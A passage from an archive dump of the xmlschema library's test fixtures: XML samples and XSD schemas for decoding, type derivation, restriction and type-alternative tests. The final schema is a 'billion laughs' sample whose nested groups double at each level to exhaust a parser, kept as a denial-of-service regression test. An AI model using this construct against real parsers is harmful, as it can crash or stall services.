<certification Year="1999">ISO-9001</certification> <certification Year="2009">ISO-27001</certification> <menĂ¹>baccalĂ  mantecato</menĂ¹> <config>foo alternative</config> <dateTimeWithTZOffset>2018-10-10T13:57:53.0702116-04:00</dateTimeWithTZOffset> <duration>P1Y2M3DT3H40M</duration> </ns:data> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/decoder/data3.xml�����������������������������������������0000664�0000000�0000000�00000001140�15020401055�0023721�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <ns:data xmlns:ns="ns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="ns ./simple-types.xsd"> <decimal_value>abc</decimal_value> <celsiusBodyTemp>37.0</celsiusBodyTemp> <celsiusBodyTemp>zero</celsiusBodyTemp> <celsiusBodyTemp>500.00</celsiusBodyTemp> <celsiusBodyTemp>50000.0</celsiusBodyTemp> <certification Year="1999">ISO-9001</certification> <certification Year="2009">ISO-27001</certification> <menĂ¹>baccalĂ  mantecato</menĂ¹> <date_and_time> 2017-10-21T13:00:00 </date_and_time> </ns:data> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/decoder/data4-mixed.xml�����������������������������������0000664�0000000�0000000�00000000740�15020401055�0025033�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <ns:data xmlns:ns="ns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="ns ./mixed-content.xsd"> A decimal value: <decimal_value>10.0</decimal_value> A datetime value: <date_and_time> 2017-10-21T13:00:00 </date_and_time> <!-- spaces are collapsed --> A boolean value: <boolean_value>true</boolean_value> A string: <string_value>abc</string_value> End of data </ns:data> ��������������������������������xmlschema-4.1.0/tests/test_cases/features/decoder/long-sequence-1.xsd�������������������������������0000664�0000000�0000000�00000001263�15020401055�0025634�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="data"> <xs:complexType> <xs:choice maxOccurs="unbounded"> <xs:element name="chunk" type="chunkType"/> <xs:element name="number" type="xs:int"/> <xs:element name="name" type="xs:string"/> <xs:element name="hexbin" type="xs:hexBinary"/> </xs:choice> </xs:complexType> </xs:element> <xs:complexType name="chunkType"> <xs:sequence> <xs:any maxOccurs="unbounded" processContents="lax"/> </xs:sequence> </xs:complexType> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/decoder/mixed-content.xsd���������������������������������0000664�0000000�0000000�00000001327�15020401055�0025510�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns="ns" xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="ns" > <xs:element name="data"> <xs:complexType mixed="true"> <xs:choice maxOccurs="unbounded"> <xs:element name="decimal_value" type="xs:decimal"/> <xs:element name="string_value" type="xs:string"/> <xs:element name="boolean_value" type="xs:boolean"/> <xs:element name="date_and_time" type="xs:dateTime"/> <xs:element name="interval" type="xs:duration"/> <xs:element name="hexbin" type="xs:hexBinary"/> </xs:choice> </xs:complexType> </xs:element> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/decoder/simple-types.xsd����������������������������������0000664�0000000�0000000�00000013543�15020401055�0025370�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns="ns" xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="ns" > <xs:element name="data"> <xs:complexType> <xs:sequence> <xs:element name="decimal_value" type="Decimal_9_5" maxOccurs="unbounded"/> <xs:element name="celsiusBodyTemp" type="celsiusBodyTemp" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="certification" type="year_attr_string_75" maxOccurs="unbounded"/> <xs:element name="menĂ¹" type="xs:string"/> <xs:element name="complex_boolean" type="TYPE_ATTR_BOOLEAN" minOccurs="0" maxOccurs="4"/> <xs:element name="simple_boolean" type="xs:boolean" minOccurs="0" maxOccurs="4"/> <xs:element name="date_and_time" type="xs:dateTime" minOccurs="0"/> <xs:element name="name" type="none_empty_string" minOccurs="0"/> <xs:element name="config" type="config" minOccurs="0"/> <xs:element name="dateTimeWithTZOffset" type="xs:dateTime" minOccurs="0"/> <xs:element name="duration" type="xs:duration" minOccurs="0"/> <xs:element name="hexbin" type="hexCode" minOccurs="0" /> <xs:element name="base64bin" type="base64Code" minOccurs="0" /> <xs:element name="list_of_floats" type="list_of_floats" minOccurs="0" /> <xs:element name="qname" type="xs:QName" minOccurs="0" /> </xs:sequence> </xs:complexType> </xs:element> <xs:simpleType name="Decimal_9_5"> <xs:restriction base="xs:decimal"> <xs:totalDigits value="9"/> <xs:fractionDigits value="5"/> </xs:restriction> </xs:simpleType> <xs:simpleType name='celsiusBodyTemp'> <xs:restriction base='xs:decimal'> <xs:totalDigits value='4'/> <xs:fractionDigits value='1'/> </xs:restriction> </xs:simpleType> <xs:simpleType name="string_75"> <xs:restriction base="xs:string"> <xs:maxLength value="75"/> </xs:restriction> </xs:simpleType> <xs:complexType name="year_attr_string_75"> <xs:simpleContent> <xs:extension base="string_75"> <xs:attribute name="Year" type="xs:integer"/> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:complexType name="TYPE_ATTR_BOOLEAN"> <xs:simpleContent> <xs:extension base="xs:boolean"> <xs:attribute name="Type" type="xs:integer"/> </xs:extension> </xs:simpleContent> </xs:complexType> <!-- List types --> <xs:simpleType name="list_of_strings"> <xs:list itemType="xs:string"/> </xs:simpleType> <xs:simpleType name="list_of_integers"> <xs:list itemType="xs:integer"/> </xs:simpleType> <xs:simpleType name="list_of_floats"> <xs:list itemType="xs:float"/> </xs:simpleType> <xs:simpleType name="list_of_booleans"> <xs:list itemType="xs:boolean"/> </xs:simpleType> <!-- Union types --> <xs:simpleType name="integer_or_float"> <xs:union memberTypes="xs:integer xs:float"/> </xs:simpleType> <xs:simpleType name="integer_or_string"> <xs:union memberTypes="xs:integer xs:string"/> </xs:simpleType> <xs:simpleType name="boolean_or_integer_or_string"> <xs:union memberTypes="xs:boolean xs:integer xs:string"/> </xs:simpleType> <!-- For testing issue #63 --> <xs:simpleType name='hexCode'> <xs:restriction base='xs:hexBinary'> <xs:length value='4'/> </xs:restriction> </xs:simpleType> <xs:simpleType name='base64Code'> <xs:restriction base='xs:base64Binary'> <xs:minLength value='3'/> <xs:maxLength value='8'/> </xs:restriction> </xs:simpleType> <xs:simpleType name='base64Length4'> <xs:restriction base='xs:base64Binary'> <xs:length value='4'/> </xs:restriction> </xs:simpleType> <xs:simpleType name='base64Length5'> <xs:restriction base='xs:base64Binary'> <xs:length value='5'/> </xs:restriction> </xs:simpleType> <!-- For testing issue #64 --> <xs:simpleType name="none_empty_string"> <xs:restriction base="xs:string"> <xs:minLength value="1" /> </xs:restriction> </xs:simpleType> <xs:simpleType name="NameType"> <xs:restriction base="xs:string"> <xs:minLength value="1"/> <xs:maxLength value="255"/> </xs:restriction> </xs:simpleType> <!-- For testing issue #83 --> <xs:simpleType name="config"> <xs:restriction base="xs:string"> <xs:whiteSpace value="collapse"/> <xs:pattern value="(word|other)|(alternative)"/> </xs:restriction> </xs:simpleType> <!-- Issue #103 --> <xs:simpleType name="myType"> <xs:union memberTypes="typeA typeB"/> </xs:simpleType> <xs:simpleType name="typeA"> <xs:restriction base="xs:decimal"> <xs:minInclusive value="0.0"/> <xs:maxInclusive value="100.0"/> <xs:fractionDigits value="3"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="typeB"> <xs:restriction base="xs:string"> <xs:pattern value="NaN"/> </xs:restriction> </xs:simpleType> <!-- For testing encoding --> <xs:simpleType name="mdate"> <xs:restriction base="xs:date"> <xs:minInclusive value="2000-01-01" /> </xs:restriction> </xs:simpleType> <xs:simpleType name="enum1"> <xs:restriction base="xs:string"> <xs:enumeration value="one"/> <xs:enumeration value="two"/> <xs:enumeration value="three"/> </xs:restriction> </xs:simpleType> </xs:schema> �������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/derivations/����������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0023131�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/derivations/complex-extensions.xsd������������������������0000664�0000000�0000000�00000003644�15020401055�0027524�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="ns" targetNamespace="ns"> <!-- Case 1: Legal complexContent extension (base complex content type is empty) --> <xs:complexType name="word"> <xs:simpleContent> <xs:extension base="xs:string"> <xs:attribute name="language" type="xs:string"/> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:complexType name="external-word"> <xs:complexContent> <xs:extension base="word"> <xs:attribute name="other-language" default="italian"/> </xs:extension> </xs:complexContent> </xs:complexType> <!-- Case 2: Illegal complexContent extension with different content type --> <xs:complexType name="personType" mixed="true"> <xs:sequence> <xs:element name="firstName" type="xs:string"/> <xs:element name="lastName" type="xs:string"/> </xs:sequence> </xs:complexType> <xs:complexType name="extPersonType"> <xs:complexContent> <xs:extension base="personType"> <xs:sequence> <xs:element name="birthDate" type="xs:date"/> <xs:element name="age" type="xs:short"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> <!-- Case 3: admitted complexContent extension from a simpleContent base --> <xs:complexType name="derivedComplexContentType"> <xs:complexContent> <xs:extension base="complexBaseExpression"> <xs:attribute name="resetTypeRef" type="xs:Name"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="unsignedBitExpression"> <xs:simpleContent> <xs:extension base="complexBaseExpression"/> </xs:simpleContent> </xs:complexType> <xs:complexType name="complexBaseExpression"> <xs:simpleContent> <xs:extension base="xs:string"> <xs:attribute name="dummy" type="xs:string"/> </xs:extension> </xs:simpleContent> </xs:complexType> </xs:schema>��������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/derivations/complex-with-simple-content-restriction.xsd���0000664�0000000�0000000�00000001226�15020401055�0033574�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- Extends an attribute-only complexType with a simple content --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="value" type="int-node"/> <xs:complexType name="node-type" mixed="true"> <xs:attribute name="choice" type="xs:string"/> </xs:complexType> <xs:complexType name="int-node"> <xs:simpleContent> <xs:restriction base="node-type"> <xs:simpleType> <xs:restriction base="xs:int"/> </xs:simpleType> </xs:restriction> </xs:simpleContent> </xs:complexType> </xs:schema>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/derivations/complex11-restrictions.xsd��������������������0000664�0000000�0000000�00000007555�15020401055�0030224�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- Schema test for invalid models: occurrence violation. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="baseType1"> <xs:sequence> <xs:element name="elem1" minOccurs="0"/> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:element name="elem2" type="xs:string" /> <xs:element name="elem3" type="xs:string" /> </xs:sequence> </xs:sequence> </xs:complexType> <xs:complexType name="restrictedType1"> <xs:complexContent> <xs:restriction base="baseType1"> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:element name="elem2" type="xs:string" /> <xs:element name="elem3" type="xs:string" /> </xs:sequence> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="baseType2"> <xs:sequence> <xs:element name="elem1" minOccurs="0"/> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="elem2" type="xs:string" /> <xs:element name="elem3" type="xs:string" /> </xs:choice> </xs:sequence> </xs:complexType> <xs:complexType name="restrictedType2"> <xs:complexContent> <xs:restriction base="baseType2"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="elem2" type="xs:string" /> <xs:element name="elem3" type="xs:string" /> </xs:choice> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="baseType3"> <xs:sequence> <xs:element name="elem1" minOccurs="0"/> <xs:choice maxOccurs="5"> <xs:element name="elem2" type="xs:string" maxOccurs="2"/> <xs:element name="elem3" type="xs:string" maxOccurs="2"/> </xs:choice> </xs:sequence> </xs:complexType> <xs:complexType name="restrictedType3"> <xs:complexContent> <xs:restriction base="baseType3"> <xs:choice maxOccurs="10"> <xs:element name="elem3" type="xs:string" /> </xs:choice> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="baseType4"> <xs:sequence> <xs:element name="elem1" minOccurs="0"/> <xs:choice maxOccurs="5"> <xs:element name="elem2" type="xs:string" maxOccurs="3"/> <xs:element name="elem3" type="xs:string" maxOccurs="4"/> </xs:choice> </xs:sequence> </xs:complexType> <xs:complexType name="restrictedType4"> <xs:complexContent> <xs:restriction base="baseType4"> <xs:choice maxOccurs="10"> <xs:element name="elem3" type="xs:string" maxOccurs="2"/> </xs:choice> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="baseType5"> <xs:sequence> <xs:element name="elem1" minOccurs="0"/> <xs:choice minOccurs="5" maxOccurs="unbounded"> <xs:element name="elem2" type="xs:string" maxOccurs="3"/> <xs:element name="elem3" type="xs:string" maxOccurs="4"/> </xs:choice> </xs:sequence> </xs:complexType> <xs:complexType name="restrictedType5"> <xs:complexContent> <xs:restriction base="baseType5"> <xs:choice minOccurs="10" maxOccurs="unbounded"> <xs:element name="elem3" type="xs:string" maxOccurs="2"/> </xs:choice> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/derivations/invalid-enumeration-restriction.xsd�����������0000664�0000000�0000000�00000001127�15020401055�0032167�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <!-- Invalid enumeration restriction related to issue #202 --> <xs:simpleType name="LocalEnergyProductType"> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="8716867000016" /> </xs:restriction> </xs:simpleType> <xs:simpleType name="LocalRestrictedEnergyProductType"> <xs:restriction base="LocalEnergyProductType"> <xs:enumeration value="A01"/> <!-- not a valid value for base type --> </xs:restriction> </xs:simpleType> </xs:schema> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/derivations/invalid-restrictions1.xsd���������������������0000664�0000000�0000000�00000004623�15020401055�0030113�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- Schema test for invalid restricted models: UPA violation restricting a substitution group head. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element type="xs:string" name="elem1"/> <xs:element type="xs:string" name="elem2" substitutionGroup="elem1" /> <xs:complexType name="basicType1"> <xs:sequence> <xs:element ref="elem1" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> <!-- Invalid with XSD 1.0, see: https://www.w3.org/Bugs/Public/show_bug.cgi?id=4147 --> <xs:complexType name="restrictedType0"> <xs:complexContent> <xs:restriction base="basicType1"> <xs:sequence> <xs:element ref="elem2"/> </xs:sequence> </xs:restriction> </xs:complexContent> </xs:complexType> <!-- UPA violation minOccurs < maxOccurs --> <xs:complexType name="restrictedType1"> <xs:complexContent> <xs:restriction base="basicType1"> <xs:sequence> <xs:element ref="elem2" maxOccurs="unbounded"/> </xs:sequence> </xs:restriction> </xs:complexContent> </xs:complexType> <!-- No UPA violation if the restricted element is empty but elem2 is not a restriction --> <xs:complexType name="restrictedType2"> <xs:complexContent> <xs:restriction base="basicType1"> <xs:sequence> <xs:element ref="elem2" minOccurs="0" maxOccurs="0"/> </xs:sequence> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element type="xs:string" name="elem3" abstract="true"/> <xs:element type="xs:string" name="elem4" substitutionGroup="elem3" /> <xs:complexType name="basicType3"> <xs:sequence> <xs:element ref="elem3" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> <!-- No UPA violation if the head element is abstract (it cannot be used in an instance). --> <xs:complexType name="restrictedType3"> <xs:complexContent> <xs:restriction base="basicType3"> <xs:sequence> <xs:element ref="elem4" maxOccurs="unbounded"/> </xs:sequence> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:schema> �������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/derivations/invalid-restrictions2.xsd���������������������0000664�0000000�0000000�00000002003�15020401055�0030102�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- Schema test for invalid model restriction (issue 344): occurrence violation for XSD 1.0, not emptiable particle for XSD 1.1. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="baseType1"> <xs:sequence> <xs:element name="elem1" /> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:element name="elem2" type="xs:string" /> <xs:element name="elem3" type="xs:string" /> </xs:sequence> </xs:sequence> </xs:complexType> <xs:complexType name="restrictedType1"> <xs:complexContent> <xs:restriction base="baseType1"> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:element name="elem2" type="xs:string" /> <xs:element name="elem3" type="xs:string" /> </xs:sequence> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:schema> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/derivations/list_types.xml��������������������������������0000664�0000000�0000000�00000000502�15020401055�0026047�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8" ?> <values xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="list_types.xsd"> <list_of_integers> 10 20 30 </list_of_integers> <list_of_integers> 10.0 20 30 </list_of_integers> <list_of_integers> hello </list_of_integers> </values>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/derivations/list_types.xsd��������������������������������0000664�0000000�0000000�00000001243�15020401055�0026050�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- Schema test for list types derivations. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name='listOfIntegers'> <xs:list itemType='xs:integer'/> </xs:simpleType> <!-- Not allowed derivation: itemType can be only atomic or atomic unions. --> <xs:simpleType name='listOfListOfIntegers'> <xs:list itemType='listOfIntegers'/> </xs:simpleType> <xs:element name="values"> <xs:complexType> <xs:sequence> <xs:element name="list_of_integers" type="listOfIntegers" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/elements/�������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022416�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/elements/test_alternatives-1.xml��������������������������0000664�0000000�0000000�00000000232�15020401055�0027033�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<value xmlns="ns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="ns ./type_alternatives.xsd" choice="bool">true</value> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/elements/type_alternatives-no-ns.xsd����������������������0000664�0000000�0000000�00000002717�15020401055�0027737�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- XSD 1.1 schema example with defaultAttributes --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="value" type="node-type"> <xs:alternative test="@choice='int'" type="int-node"/> <xs:alternative test="@choice='float'" type="float-node"/> <xs:alternative test="@choice='bool'" type="bool-node"/> </xs:element> <xs:complexType name="node-type" mixed="true"> <xs:attribute name="choice" type="xs:string"/> </xs:complexType> <xs:complexType name="int-node"> <xs:simpleContent> <xs:restriction base="node-type"> <xs:simpleType> <xs:restriction base="xs:int"/> </xs:simpleType> </xs:restriction> </xs:simpleContent> </xs:complexType> <xs:complexType name="float-node"> <xs:simpleContent> <xs:restriction base="node-type"> <xs:simpleType> <xs:restriction base="xs:float"/> </xs:simpleType> </xs:restriction> </xs:simpleContent> </xs:complexType> <xs:complexType name="bool-node"> <xs:simpleContent> <xs:restriction base="node-type"> <xs:simpleType> <xs:restriction base="xs:boolean"/> </xs:simpleType> </xs:restriction> </xs:simpleContent> </xs:complexType> </xs:schema> �������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/elements/type_alternatives.xsd����������������������������0000664�0000000�0000000�00000003007�15020401055�0026700�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- XSD 1.1 schema example with defaultAttributes --> <xs:schema xmlns:ns="ns" xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="ns"> <xs:element name="value" type="ns:node-type"> <xs:alternative test="@choice='int'" type="ns:int-node"/> <xs:alternative test="@choice='float'" type="ns:float-node"/> <xs:alternative test="@choice='bool'" type="ns:bool-node"/> </xs:element> <xs:complexType name="node-type" mixed="true"> <xs:attribute name="choice" type="xs:string"/> </xs:complexType> <xs:complexType name="int-node"> <xs:simpleContent> <xs:restriction base="ns:node-type"> <xs:simpleType> <xs:restriction base="xs:int"/> </xs:simpleType> </xs:restriction> </xs:simpleContent> </xs:complexType> <xs:complexType name="float-node"> <xs:simpleContent> <xs:restriction base="ns:node-type"> <xs:simpleType> <xs:restriction base="xs:float"/> </xs:simpleType> </xs:restriction> </xs:simpleContent> </xs:complexType> <xs:complexType name="bool-node"> <xs:simpleContent> <xs:restriction base="ns:node-type"> <xs:simpleType> <xs:restriction base="xs:boolean"/> </xs:simpleType> </xs:restriction> </xs:simpleContent> </xs:complexType> </xs:schema> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/models/���������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022065�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/models/billion_laughs_model.xsd���������������������������0000664�0000000�0000000�00000012027�15020401055�0026762�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- Billion laughs test for group expansion (ref. issue #59). --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:group name="LOL1"> <xs:sequence> <xs:element name="lol1" /> <xs:element name="lol2" /> </xs:sequence> </xs:group> <xs:group name="LOL2"> <xs:sequence> <xs:group ref="LOL1" /> <xs:group ref="LOL1" /> </xs:sequence> </xs:group> <xs:group name="LOL3"> <xs:sequence> <xs:group ref="LOL2" /> <xs:group ref="LOL2" /> </xs:sequence> </xs:group> <xs:group name="LOL4"> <xs:sequence> <xs:group ref="LOL3" /> <xs:group ref="LOL3" /> </xs:sequence> </xs:group> <xs:group name="LOL5"> <xs:sequence> <xs:group ref="LOL4" /> <xs:group ref="LOL4" /> </xs:sequence> </xs:group> <xs:group name="LOL6"> <xs:sequence> <xs:group ref="LOL5" /> <xs:group ref="LOL5" /> </xs:sequence> </xs:group> <xs:group name="LOL7"> <xs:sequence> <xs:group ref="LOL6" /> <xs:group ref="LOL6" /> </xs:sequence> </xs:group> <xs:group name="LOL8"> <xs:sequence> <xs:group ref="LOL7" /> <xs:group ref="LOL7" /> </xs:sequence> </xs:group> <xs:group name="LOL9"> <xs:sequence> <xs:group ref="LOL8" /> <xs:group ref="LOL8" /> </xs:sequence> </xs:group> <xs:group name="LOL10"> <xs:sequence> <xs:group ref="LOL9" /> <xs:group ref="LOL9" /> </xs:sequence> </xs:group> <xs:group name="LOL11"> <xs:sequence> <xs:group ref="LOL10" /> <xs:group ref="LOL10" /> </xs:sequence> </xs:group> <xs:group name="LOL12"> <xs:sequence> <xs:group ref="LOL11" /> <xs:group ref="LOL11" /> </xs:sequence> </xs:group> <xs:group name="LOL13"> <xs:sequence> <xs:group ref="LOL12" /> <xs:group ref="LOL12" /> </xs:sequence> </xs:group> <xs:group name="LOL14"> <xs:sequence> <xs:group ref="LOL13" /> <xs:group ref="LOL13" /> </xs:sequence> </xs:group> <xs:group name="LOL15"> <xs:sequence> <xs:group ref="LOL14" /> <xs:group ref="LOL14" /> </xs:sequence> </xs:group> <xs:group name="LOL16"> <xs:sequence> <xs:group ref="LOL15" /> <xs:group ref="LOL15" /> </xs:sequence> </xs:group> <xs:group name="LOL17"> <xs:sequence> <xs:group ref="LOL16" /> <xs:group ref="LOL16" /> </xs:sequence> </xs:group> <xs:group name="LOL18"> <xs:sequence> <xs:group ref="LOL17" /> <xs:group ref="LOL17" /> </xs:sequence> </xs:group> <xs:group name="LOL19"> <xs:sequence> <xs:group ref="LOL18" /> <xs:group ref="LOL18" /> </xs:sequence> </xs:group> <xs:group name="LOL20"> <xs:sequence> <xs:group ref="LOL19" /> <xs:group ref="LOL19" /> </xs:sequence> </xs:group> <xs:group name="LOL21"> <xs:sequence> <xs:group ref="LOL20" /> <xs:group ref="LOL20" /> </xs:sequence> </xs:group> <xs:group name="LOL22"> <xs:sequence> <xs:group ref="LOL21" /> <xs:group ref="LOL21" /> </xs:sequence> </xs:group> <xs:group name="LOL23"> <xs:sequence> <xs:group ref="LOL22" /> <xs:group ref="LOL22" /> </xs:sequence> </xs:group> <xs:group name="LOL24"> <xs:sequence> <xs:group ref="LOL23" /> <xs:group ref="LOL23" /> </xs:sequence> </xs:group> <xs:group name="LOL25"> <xs:sequence> <xs:group ref="LOL24" /> <xs:group ref="LOL24" /> </xs:sequence> </xs:group> <xs:group name="LOL26"> <xs:sequence> <xs:group ref="LOL25" /> <xs:group ref="LOL25" /> </xs:sequence> </xs:group> <xs:group name="LOL27"> <xs:sequence> <xs:group ref="LOL26" /> <xs:group ref="LOL26" /> </xs:sequence> </xs:group> <xs:group name="LOL28"> <xs:sequence> <xs:group ref="LOL27" /> <xs:group ref="LOL27" /> </xs:sequence> </xs:group> <xs:group name="LOL29"> <xs:sequence> <xs:group ref="LOL28" /> <xs:group ref="LOL28" /> </xs:sequence> </xs:group> <xs:group name="LOL30"> <xs:sequence> <xs:group ref="LOL29" /> <xs:group ref="LOL29" /> </xs:sequence> </xs:group> <xs:group name="LOL31"> <xs:sequence> <xs:group ref="LOL30" /> <xs:group ref="LOL30" /> </xs:sequence> </xs:group> <xs:group name="LOL32"> <xs:sequence> <xs:group ref="LOL31" /> <xs:group ref="LOL31" /> </xs:sequence> </xs:group> 